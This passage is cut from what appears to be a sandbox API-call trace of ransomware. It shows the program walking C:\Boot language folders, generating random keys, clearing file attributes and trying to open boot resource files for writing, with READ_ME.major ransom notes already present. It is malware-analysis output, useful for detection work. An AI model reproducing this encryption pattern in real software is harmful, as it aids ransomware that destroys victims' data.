cAlternateFileName="")) returned 0x60f768 [0143.612] SetLastError (dwErrCode=0x5) [0143.612] GetLastError () returned 0x5 [0143.612] SetLastError (dwErrCode=0x5) [0143.612] GetLastError () returned 0x5 [0143.612] SetLastError (dwErrCode=0x5) [0143.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef20 [0143.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0143.612] FindNextFileW (in: hFindFile=0x60f768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.612] SetLastError (dwErrCode=0x5) [0143.612] GetLastError () returned 0x5 [0143.612] SetLastError (dwErrCode=0x5) [0143.612] GetLastError () returned 0x5 [0143.612] SetLastError (dwErrCode=0x5) [0143.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0143.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0143.612] FindNextFileW (in: hFindFile=0x60f768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.612] SetLastError (dwErrCode=0x5) [0143.612] GetLastError () returned 0x5 [0143.612] SetLastError (dwErrCode=0x5) [0143.612] GetLastError () returned 0x5 [0143.613] SetLastError (dwErrCode=0x5) [0143.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.613] FindNextFileW (in: hFindFile=0x60f768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.613] SetLastError (dwErrCode=0x5) [0143.613] GetLastError () returned 0x5 [0143.613] SetLastError (dwErrCode=0x5) [0143.613] GetLastError () returned 0x5 [0143.613] SetLastError (dwErrCode=0x5) [0143.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0143.613] FindNextFileW (in: hFindFile=0x60f768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a4cd0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81a4cd0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.613] SetLastError (dwErrCode=0x5) [0143.613] GetLastError () returned 0x5 [0143.613] SetLastError (dwErrCode=0x5) [0143.613] GetLastError () returned 0x5 [0143.613] SetLastError (dwErrCode=0x5) [0143.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.613] FindNextFileW (in: hFindFile=0x60f768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a4cd0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81a4cd0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0143.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0143.613] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.613] SetFileAttributesW (lpFileName="\\Boot\\sv-SE\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0143.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.614] CreateFileW (lpFileName="\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.614] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.614] SetFileAttributesW (lpFileName="\\Boot\\sv-SE\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0143.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.614] CreateFileW (lpFileName="\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.614] FindFirstFileW (in: lpFileName="\\Boot\\tr-TR\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f5a8 [0143.614] SetLastError (dwErrCode=0x5) [0143.614] GetLastError () returned 0x5 [0143.614] SetLastError (dwErrCode=0x5) [0143.614] GetLastError () returned 0x5 [0143.614] SetLastError (dwErrCode=0x5) [0143.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecb8 [0143.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.614] FindNextFileW (in: hFindFile=0x60f5a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.614] SetLastError (dwErrCode=0x5) [0143.614] GetLastError () returned 0x5 [0143.614] SetLastError (dwErrCode=0x5) [0143.614] GetLastError () returned 0x5 [0143.614] SetLastError (dwErrCode=0x5) [0143.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0143.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0143.615] FindNextFileW (in: hFindFile=0x60f5a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.615] SetLastError (dwErrCode=0x5) [0143.615] GetLastError () returned 0x5 [0143.615] SetLastError (dwErrCode=0x5) [0143.615] GetLastError () returned 0x5 [0143.615] SetLastError (dwErrCode=0x5) [0143.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.615] FindNextFileW (in: hFindFile=0x60f5a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.615] SetLastError (dwErrCode=0x5) [0143.615] GetLastError () returned 0x5 [0143.615] SetLastError (dwErrCode=0x5) [0143.615] GetLastError () returned 0x5 [0143.615] SetLastError (dwErrCode=0x5) [0143.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0143.615] FindNextFileW (in: hFindFile=0x60f5a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a4cd0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81a4cd0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.615] SetLastError (dwErrCode=0x5) [0143.615] GetLastError () returned 0x5 [0143.615] SetLastError (dwErrCode=0x5) [0143.615] GetLastError () returned 0x5 [0143.615] SetLastError (dwErrCode=0x5) [0143.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0143.615] FindNextFileW (in: hFindFile=0x60f5a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a4cd0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81a4cd0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0143.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0143.615] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.615] SetFileAttributesW (lpFileName="\\Boot\\tr-TR\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0143.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.615] CreateFileW (lpFileName="\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.616] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.616] SetFileAttributesW (lpFileName="\\Boot\\tr-TR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.616] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0143.616] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.616] CreateFileW (lpFileName="\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.616] FindFirstFileW (in: lpFileName="\\Boot\\uk-UA\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f128 [0143.616] SetLastError (dwErrCode=0x5) [0143.616] GetLastError () returned 0x5 [0143.616] SetLastError (dwErrCode=0x5) [0143.616] GetLastError () returned 0x5 [0143.616] SetLastError (dwErrCode=0x5) [0143.616] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee40 [0143.616] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.616] FindNextFileW (in: hFindFile=0x60f128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.616] SetLastError (dwErrCode=0x5) [0143.616] GetLastError () returned 0x5 [0143.616] SetLastError (dwErrCode=0x5) [0143.616] GetLastError () returned 0x5 [0143.616] SetLastError (dwErrCode=0x5) [0143.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed98 [0143.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.617] FindNextFileW (in: hFindFile=0x60f128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.617] SetLastError (dwErrCode=0x5) [0143.617] GetLastError () returned 0x5 [0143.617] SetLastError (dwErrCode=0x5) [0143.617] GetLastError () returned 0x5 [0143.617] SetLastError (dwErrCode=0x5) [0143.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0143.617] FindNextFileW (in: hFindFile=0x60f128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a4cd0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81a4cd0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.617] SetLastError (dwErrCode=0x5) [0143.617] GetLastError () returned 0x5 [0143.617] SetLastError (dwErrCode=0x5) [0143.617] GetLastError () returned 0x5 [0143.617] SetLastError (dwErrCode=0x5) [0143.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.617] FindNextFileW (in: hFindFile=0x60f128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a4cd0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81a4cd0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0143.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0143.617] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.617] SetFileAttributesW (lpFileName="\\Boot\\uk-UA\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0143.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.617] CreateFileW (lpFileName="\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.618] FindFirstFileW (in: lpFileName="\\Boot\\zh-CN\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f7a8 [0143.618] SetLastError (dwErrCode=0x5) [0143.618] GetLastError () returned 0x5 [0143.618] SetLastError (dwErrCode=0x5) [0143.618] GetLastError () returned 0x5 [0143.618] SetLastError (dwErrCode=0x5) [0143.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9e0 [0143.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.618] FindNextFileW (in: hFindFile=0x60f7a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.618] SetLastError (dwErrCode=0x5) [0143.618] GetLastError () returned 0x5 [0143.618] SetLastError (dwErrCode=0x5) [0143.618] GetLastError () returned 0x5 [0143.618] SetLastError (dwErrCode=0x5) [0143.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0143.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0143.618] FindNextFileW (in: hFindFile=0x60f7a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.618] SetLastError (dwErrCode=0x5) [0143.618] GetLastError () returned 0x5 [0143.618] SetLastError (dwErrCode=0x5) [0143.618] GetLastError () returned 0x5 [0143.618] SetLastError (dwErrCode=0x5) [0143.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.618] FindNextFileW (in: hFindFile=0x60f7a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.619] SetLastError (dwErrCode=0x5) [0143.619] GetLastError () returned 0x5 [0143.619] SetLastError (dwErrCode=0x5) [0143.619] GetLastError () returned 0x5 [0143.619] SetLastError (dwErrCode=0x5) [0143.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.619] FindNextFileW (in: hFindFile=0x60f7a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caed6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81caed6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.619] SetLastError (dwErrCode=0x5) [0143.619] GetLastError () returned 0x5 [0143.619] SetLastError (dwErrCode=0x5) [0143.619] GetLastError () returned 0x5 [0143.619] SetLastError (dwErrCode=0x5) [0143.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.619] FindNextFileW (in: hFindFile=0x60f7a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caed6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81caed6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0143.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.619] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.619] SetFileAttributesW (lpFileName="\\Boot\\zh-CN\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.619] CreateFileW (lpFileName="\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.619] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.619] SetFileAttributesW (lpFileName="\\Boot\\zh-CN\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.620] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0143.620] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.620] CreateFileW (lpFileName="\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.620] FindFirstFileW (in: lpFileName="\\Boot\\zh-HK\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f628 [0143.620] SetLastError (dwErrCode=0x5) [0143.620] GetLastError () returned 0x5 [0143.620] SetLastError (dwErrCode=0x5) [0143.620] GetLastError () returned 0x5 [0143.620] SetLastError (dwErrCode=0x5) [0143.620] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0143.620] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.620] FindNextFileW (in: hFindFile=0x60f628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 